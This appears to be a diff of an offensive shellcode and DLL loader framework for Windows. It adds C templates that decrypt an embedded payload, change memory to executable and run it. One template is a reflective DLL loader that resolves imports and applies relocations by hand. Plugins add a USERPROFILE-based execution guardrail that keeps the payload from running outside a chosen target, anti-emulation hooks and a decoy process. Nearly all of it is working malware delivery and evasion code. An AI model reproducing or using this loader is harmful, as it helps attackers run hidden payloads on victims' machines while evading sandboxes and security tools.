||||||
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
antiemulation();
|
||||||
|
|
||||||
|
// Call: Decoy plugin
|
||||||
|
decoy();
|
||||||
|
|
||||||
// Allocate 1
|
// Allocate 1
|
||||||
// char *dest = ...
|
// char *dest = ...
|
||||||
@@ -44,7 +50,7 @@ int main()
|
|||||||
// to: dest[]
|
// to: dest[]
|
||||||
{{ plugin_decoder }}
|
{{ plugin_decoder }}
|
||||||
|
|
||||||
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
||||||
return 7;
|
return 7;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -54,13 +60,3 @@ int main()
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
|
||||||
int i = 0;
|
|
||||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
|
||||||
if (str1[i] != str2[i]) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
i++;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
char *supermega_payload;
|
||||||
|
|
||||||
|
#define p_RW 0x04
|
||||||
|
#define p_RX 0x20
|
||||||
|
#define p_RWX 0x40
|
||||||
|
|
||||||
|
/* change payload memory regions permissions
|
||||||
|
will reuse IMAGE locations
|
||||||
|
|
||||||
|
depending on payload injection:
|
||||||
|
* .text -> rw -> rx
|
||||||
|
* .rdata -> rw -> rx
|
||||||
|
*/
|
||||||
|
|
||||||
|
{{plugin_antiemulation}}
|
||||||
|
|
||||||
|
{{plugin_decoy}}
|
||||||
|
|
||||||
|
{{plugin_executionguardrail}}
|
||||||
|
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
DWORD result;
|
||||||
|
char *dest = supermega_payload;
|
||||||
|
|
||||||
|
// Call: Execution Guardrail
|
||||||
|
if (executionguardrail() != 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call: Anti Emulation plugin
|
||||||
|
antiemulation();
|
||||||
|
|
||||||
|
// Call: Decoy plugin
|
||||||
|
decoy();
|
||||||
|
|
||||||
|
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
|
||||||
|
return 16;
|
||||||
|
}
|
||||||
|
|
||||||
|
{{ plugin_decoder }}
|
||||||
|
|
||||||
|
if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
|
||||||
|
return 16;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute *dest
|
||||||
|
(*(void(*)())(dest))();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
#include <Windows.h>
|
|
||||||
|
|
||||||
#include <time.h>
|
|
||||||
|
|
||||||
char *supermega_payload;
|
|
||||||
|
|
||||||
#define p_RW 0x04
|
|
||||||
#define p_RX 0x20
|
|
||||||
#define p_RWX 0x40
|
|
||||||
|
|
||||||
/* iat_reuse_rwx_rx
|
|
||||||
|
|
||||||
IAT reuse shellcode
|
|
||||||
* reuse payload location (both in .rdata and .text)
|
|
||||||
* does (rw/rx) -> rwx -> rx
|
|
||||||
*/
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
DWORD result;
|
|
||||||
char *dest = supermega_payload;
|
|
||||||
|
|
||||||
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
|
|
||||||
// can do only RW otherwise?
|
|
||||||
for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
|
|
||||||
if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
|
|
||||||
return 16;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
{{ plugin_decoder }}
|
|
||||||
|
|
||||||
for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
|
|
||||||
if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
|
|
||||||
return 16;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Execute *dest
|
|
||||||
(*(void(*)())(dest))();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,186 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
|
||||||
|
char *supermega_payload;
|
||||||
|
|
||||||
|
#define p_RW 0x04
|
||||||
|
#define p_RX 0x20
|
||||||
|
#define p_RWX 0x40
|
||||||
|
|
||||||
|
/* DLL loader
|
||||||
|
|
||||||
|
This code will load a DLL (not a shellcode!)
|
||||||
|
into new memory region,
|
||||||
|
resolve its imports, apply relocations, and execute it.
|
||||||
|
|
||||||
|
Loader is based on:
|
||||||
|
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
|
||||||
|
with some patches to make it work here
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct BASE_RELOCATION_BLOCK {
|
||||||
|
DWORD PageAddress;
|
||||||
|
DWORD BlockSize;
|
||||||
|
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
|
||||||
|
|
||||||
|
typedef struct BASE_RELOCATION_ENTRY {
|
||||||
|
USHORT Offset : 12;
|
||||||
|
USHORT Type : 4;
|
||||||
|
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
||||||
|
|
||||||
|
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
|
||||||
|
void mymemcpy(void* dest, const void* src, size_t n) {
|
||||||
|
char* d = (char*)dest;
|
||||||
|
const char* s = (const char*)src;
|
||||||
|
for (size_t i = 0; i < n; ++i) {
|
||||||
|
d[i] = s[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
|
||||||
|
// get this module's image base address
|
||||||
|
PVOID imageBase = GetModuleHandleA(NULL);
|
||||||
|
|
||||||
|
// get pointers to in-memory DLL headers
|
||||||
|
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
|
||||||
|
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
|
||||||
|
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
|
||||||
|
|
||||||
|
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
|
||||||
|
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
// get delta between this module's image base and the DLL that was read into memory
|
||||||
|
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// copy over DLL image headers to the newly allocated space for the DLL
|
||||||
|
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
|
||||||
|
|
||||||
|
// copy over DLL image sections to the newly allocated space for the DLL
|
||||||
|
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||||
|
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||||
|
{
|
||||||
|
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
|
||||||
|
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
|
||||||
|
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
|
||||||
|
section++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// perform image base relocations
|
||||||
|
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||||
|
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
|
||||||
|
DWORD relocationsProcessed = 0;
|
||||||
|
|
||||||
|
while (relocationsProcessed < relocations.Size)
|
||||||
|
{
|
||||||
|
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
|
||||||
|
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
|
||||||
|
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
|
||||||
|
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < relocationsCount; i++)
|
||||||
|
{
|
||||||
|
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
|
||||||
|
|
||||||
|
if (relocationEntries[i].Type == 0)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
|
||||||
|
DWORD_PTR addressToPatch = 0;
|
||||||
|
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
|
||||||
|
addressToPatch += deltaImageBase;
|
||||||
|
mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolve import address table
|
||||||
|
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
|
||||||
|
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||||
|
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
|
||||||
|
LPCSTR libraryName;
|
||||||
|
HMODULE library = NULL;
|
||||||
|
|
||||||
|
while (importDescriptor->Name != NULL)
|
||||||
|
{
|
||||||
|
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
|
||||||
|
library = LoadLibraryA(libraryName);
|
||||||
|
|
||||||
|
if (library)
|
||||||
|
{
|
||||||
|
PIMAGE_THUNK_DATA thunk = NULL;
|
||||||
|
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
|
||||||
|
|
||||||
|
while (thunk->u1.AddressOfData != NULL)
|
||||||
|
{
|
||||||
|
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
|
||||||
|
{
|
||||||
|
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
|
||||||
|
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
|
||||||
|
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
|
||||||
|
thunk->u1.Function = functionAddress;
|
||||||
|
}
|
||||||
|
++thunk;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
importDescriptor++;
|
||||||
|
}
|
||||||
|
|
||||||
|
*ret_dllBase = (DWORD_PTR)dllBase;
|
||||||
|
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
{{plugin_antiemulation}}
|
||||||
|
|
||||||
|
{{plugin_decoy}}
|
||||||
|
|
||||||
|
{{plugin_executionguardrail}}
|
||||||
|
|
||||||
|
{{plugin_virtualprotect}}
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char* dest = NULL;
|
||||||
|
|
||||||
|
// Call: Execution Guardrail
|
||||||
|
if (executionguardrail() != 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call: Anti Emulation plugin
|
||||||
|
antiemulation();
|
||||||
|
|
||||||
|
// Call: Decoy plugin
|
||||||
|
decoy();
|
||||||
|
|
||||||
|
dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
// FROM supermega_payload[]
|
||||||
|
// TO dest[]
|
||||||
|
// Including decryption
|
||||||
|
{{ plugin_decoder }}
|
||||||
|
|
||||||
|
// Load the DLL at dest
|
||||||
|
DWORD_PTR dllBase;
|
||||||
|
DWORD aoep;
|
||||||
|
load_dll( (void *) dest, &dllBase, &aoep);
|
||||||
|
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
|
||||||
|
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,221 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
|
||||||
|
char *supermega_payload;
|
||||||
|
|
||||||
|
#define p_RW 0x04
|
||||||
|
#define p_RX 0x20
|
||||||
|
#define p_RWX 0x40
|
||||||
|
|
||||||
|
/* DLL loader
|
||||||
|
|
||||||
|
This code will load a DLL (not a shellcode!) into
|
||||||
|
existing memory region,
|
||||||
|
resolve its imports, apply relocations, and execute it.
|
||||||
|
|
||||||
|
Loader is based on:
|
||||||
|
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
|
||||||
|
with some patches to make it work here
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct BASE_RELOCATION_BLOCK {
|
||||||
|
DWORD PageAddress;
|
||||||
|
DWORD BlockSize;
|
||||||
|
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
|
||||||
|
|
||||||
|
typedef struct BASE_RELOCATION_ENTRY {
|
||||||
|
USHORT Offset : 12;
|
||||||
|
USHORT Type : 4;
|
||||||
|
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
||||||
|
|
||||||
|
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
|
||||||
|
void mymemcpy(void* dest, const void* src, size_t n) {
|
||||||
|
char* d = (char*)dest;
|
||||||
|
const char* s = (const char*)src;
|
||||||
|
for (size_t i = 0; i < n; ++i) {
|
||||||
|
d[i] = s[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
|
||||||
|
// dllBase is expected to be page-aligned
|
||||||
|
if ((DWORD_PTR)dllBase & 0xFFF)
|
||||||
|
{
|
||||||
|
MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK);
|
||||||
|
}
|
||||||
|
|
||||||
|
// get pointers to in-memory DLL headers
|
||||||
|
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase;
|
||||||
|
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew);
|
||||||
|
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
|
||||||
|
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
/*
|
||||||
|
// VirtualProtect the sections correctly
|
||||||
|
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||||
|
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||||
|
{
|
||||||
|
DWORD protect;
|
||||||
|
if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||||
|
{
|
||||||
|
protect = PAGE_EXECUTE_READWRITE;
|
||||||
|
}
|
||||||
|
else if (section->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||||
|
{
|
||||||
|
protect = PAGE_READWRITE;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
protect = PAGE_READONLY;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase;
|
||||||
|
DWORD_PTR sectionSize = section->SizeOfRawData;
|
||||||
|
DWORD oldProtect;
|
||||||
|
VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect);
|
||||||
|
section++;
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
// Overwrite PE header: First 0x1000 bytes
|
||||||
|
/*
|
||||||
|
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
|
||||||
|
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
// get delta between this module's image base and the DLL that was read into memory
|
||||||
|
|
||||||
|
// copy over DLL image headers to the newly allocated space for the DLL
|
||||||
|
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
|
||||||
|
|
||||||
|
// copy over DLL image sections to the newly allocated space for the DLL
|
||||||
|
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
|
||||||
|
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
|
||||||
|
{
|
||||||
|
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
|
||||||
|
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
|
||||||
|
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
|
||||||
|
section++;
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
// perform image base relocations
|
||||||
|
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||||
|
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
|
||||||
|
DWORD relocationsProcessed = 0;
|
||||||
|
|
||||||
|
while (relocationsProcessed < relocations.Size)
|
||||||
|
{
|
||||||
|
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
|
||||||
|
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
|
||||||
|
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
|
||||||
|
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < relocationsCount; i++)
|
||||||
|
{
|
||||||
|
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
|
||||||
|
if (relocationEntries[i].Type == 0)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
|
||||||
|
//DWORD_PTR addressToPatch = 0;
|
||||||
|
//ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
|
||||||
|
DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA);
|
||||||
|
//DWORD_PTR value = *addressToPatch;
|
||||||
|
*addressToPatch += deltaImageBase;
|
||||||
|
//mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolve import address table
|
||||||
|
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
|
||||||
|
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||||
|
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
|
||||||
|
LPCSTR libraryName;
|
||||||
|
HMODULE library = NULL;
|
||||||
|
|
||||||
|
while (importDescriptor->Name != NULL)
|
||||||
|
{
|
||||||
|
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
|
||||||
|
library = LoadLibraryA(libraryName);
|
||||||
|
|
||||||
|
if (library)
|
||||||
|
{
|
||||||
|
PIMAGE_THUNK_DATA thunk = NULL;
|
||||||
|
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
|
||||||
|
|
||||||
|
while (thunk->u1.AddressOfData != NULL)
|
||||||
|
{
|
||||||
|
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
|
||||||
|
{
|
||||||
|
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
|
||||||
|
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
|
||||||
|
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
|
||||||
|
thunk->u1.Function = functionAddress;
|
||||||
|
}
|
||||||
|
++thunk;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
importDescriptor++;
|
||||||
|
}
|
||||||
|
|
||||||
|
*ret_dllBase = (DWORD_PTR)dllBase;
|
||||||
|
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
{{plugin_antiemulation}}
|
||||||
|
|
||||||
|
{{plugin_decoy}}
|
||||||
|
|
||||||
|
{{plugin_executionguardrail}}
|
||||||
|
|
||||||
|
{{plugin_virtualprotect}}
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char* dest = supermega_payload;
|
||||||
|
DWORD protect, oldProtect;
|
||||||
|
|
||||||
|
// Call: Execution Guardrail
|
||||||
|
if (executionguardrail() != 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call: Anti Emulation plugin
|
||||||
|
antiemulation();
|
||||||
|
|
||||||
|
// Call: Decoy plugin
|
||||||
|
decoy();
|
||||||
|
|
||||||
|
MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect);
|
||||||
|
|
||||||
|
// FROM supermega_payload[]
|
||||||
|
// TO dest[]
|
||||||
|
// Including decryption
|
||||||
|
{{ plugin_decoder }}
|
||||||
|
|
||||||
|
// Load the DLL at dest
|
||||||
|
DWORD_PTR dllBase;
|
||||||
|
DWORD aoep;
|
||||||
|
load_dll( (void *) dest, &dllBase, &aoep);
|
||||||
|
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
|
||||||
|
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -5,7 +5,9 @@
|
|||||||
char *supermega_payload;
|
char *supermega_payload;
|
||||||
|
|
||||||
/* peb_walk
|
/* peb_walk
|
||||||
Standard shellcode which will resolve IAT by itself with a peb_walk
|
Test shellcode which will resolve IAT by itself with a peb walk
|
||||||
|
no IAT reuse is performed
|
||||||
|
no data reuse is performed
|
||||||
*/
|
*/
|
||||||
|
|
||||||
int main()
|
int main()
|
||||||
|
|||||||
@@ -0,0 +1,4 @@
|
|||||||
|
|
||||||
|
void decoy() {
|
||||||
|
// None
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
|
||||||
|
void decoy() {
|
||||||
|
WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
|
||||||
|
|
||||||
|
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
||||||
|
int i = 0;
|
||||||
|
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
||||||
|
if (str1[i] != str2[i]) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int executionguardrail() {
|
||||||
|
// Execution Guardrail: Env Check
|
||||||
|
wchar_t envVarName[] = L"USERPROFILE";
|
||||||
|
wchar_t tocheck[] = L"{{guardrail_data}}";
|
||||||
|
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||||
|
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
||||||
|
if (result == 0) {
|
||||||
|
return 6;
|
||||||
|
}
|
||||||
|
if (mystrcmp(buffer, tocheck) != 0) {
|
||||||
|
return 6;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
int executionguardrail() {
|
||||||
|
// None
|
||||||
|
return 0; // All OK
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
|
||||||
|
BOOL MyVirtualProtect(
|
||||||
|
LPVOID lpAddress,
|
||||||
|
SIZE_T dwSize,
|
||||||
|
DWORD flNewProtect,
|
||||||
|
PDWORD lpflOldprotect
|
||||||
|
) {
|
||||||
|
return VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldprotect);
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
|
||||||
|
// How many bytes we VirtualProtect
|
||||||
|
#define VP_SIZE 16
|
||||||
|
|
||||||
|
BOOL MyVirtualProtect(
|
||||||
|
LPVOID lpAddress,
|
||||||
|
SIZE_T dwSize,
|
||||||
|
DWORD flNewProtect,
|
||||||
|
PDWORD lpflOldprotect
|
||||||
|
) {
|
||||||
|
char *dest = (char *)lpAddress;
|
||||||
|
|
||||||
|
for(int n=0; n<(dwSize/4096)+1; n++) {
|
||||||
|
if (VirtualProtect(dest + (n * 4096), VP_SIZE, flNewProtect, lpflOldprotect) == 0) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -136,24 +136,6 @@ def file_to_lf(filename):
|
|||||||
f.write(data)
|
f.write(data)
|
||||||
|
|
||||||
|
|
||||||
def find_first_utf16_string_offset(data, min_len=8):
|
|
||||||
current_string = bytearray()
|
|
||||||
start_offset = None # To keep track of the start of the current string
|
|
||||||
for i in range(0, len(data) - 1, 2):
|
|
||||||
# Check if we have a valid character
|
|
||||||
if data[i] != 0 or data[i+1] != 0:
|
|
||||||
if start_offset is None: # Mark the start of a new string
|
|
||||||
start_offset = i
|
|
||||||
current_string += bytes([data[i], data[i+1]])
|
|
||||||
else:
|
|
||||||
if len(current_string) >= min_len * 2: # Check if the current string meets the minimum length
|
|
||||||
return start_offset # Return the offset where the string starts
|
|
||||||
current_string = bytearray()
|
|
||||||
start_offset = None # Reset start offset for the next string
|
|
||||||
|
|
||||||
return None # No string found that meets the criteria
|
|
||||||
|
|
||||||
|
|
||||||
def round_up_to_multiple_of_8(x):
|
def round_up_to_multiple_of_8(x):
|
||||||
return math.ceil(x / 8) * 8
|
return math.ceil(x / 8) * 8
|
||||||
|
|
||||||
@@ -169,6 +151,7 @@ def ui_string_decode(data):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("ui_string_decode: {}".format(e))
|
logger.warning("ui_string_decode: {}".format(e))
|
||||||
|
|
||||||
|
|
||||||
def ascii_to_hex_bytes(ascii_bytes):
|
def ascii_to_hex_bytes(ascii_bytes):
|
||||||
hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes)
|
hex_escaped = ''.join(f'\\x{byte:02x}' for byte in ascii_bytes)
|
||||||
return hex_escaped
|
return hex_escaped
|
||||||
|
|||||||
+9
-11
@@ -13,27 +13,25 @@ PATH_EXES_MORE = "data/binary/exes_more/"
|
|||||||
PATH_SHELLCODES = "data/binary/shellcodes/"
|
PATH_SHELLCODES = "data/binary/shellcodes/"
|
||||||
PATH_CARRIER = "data/source/carrier/"
|
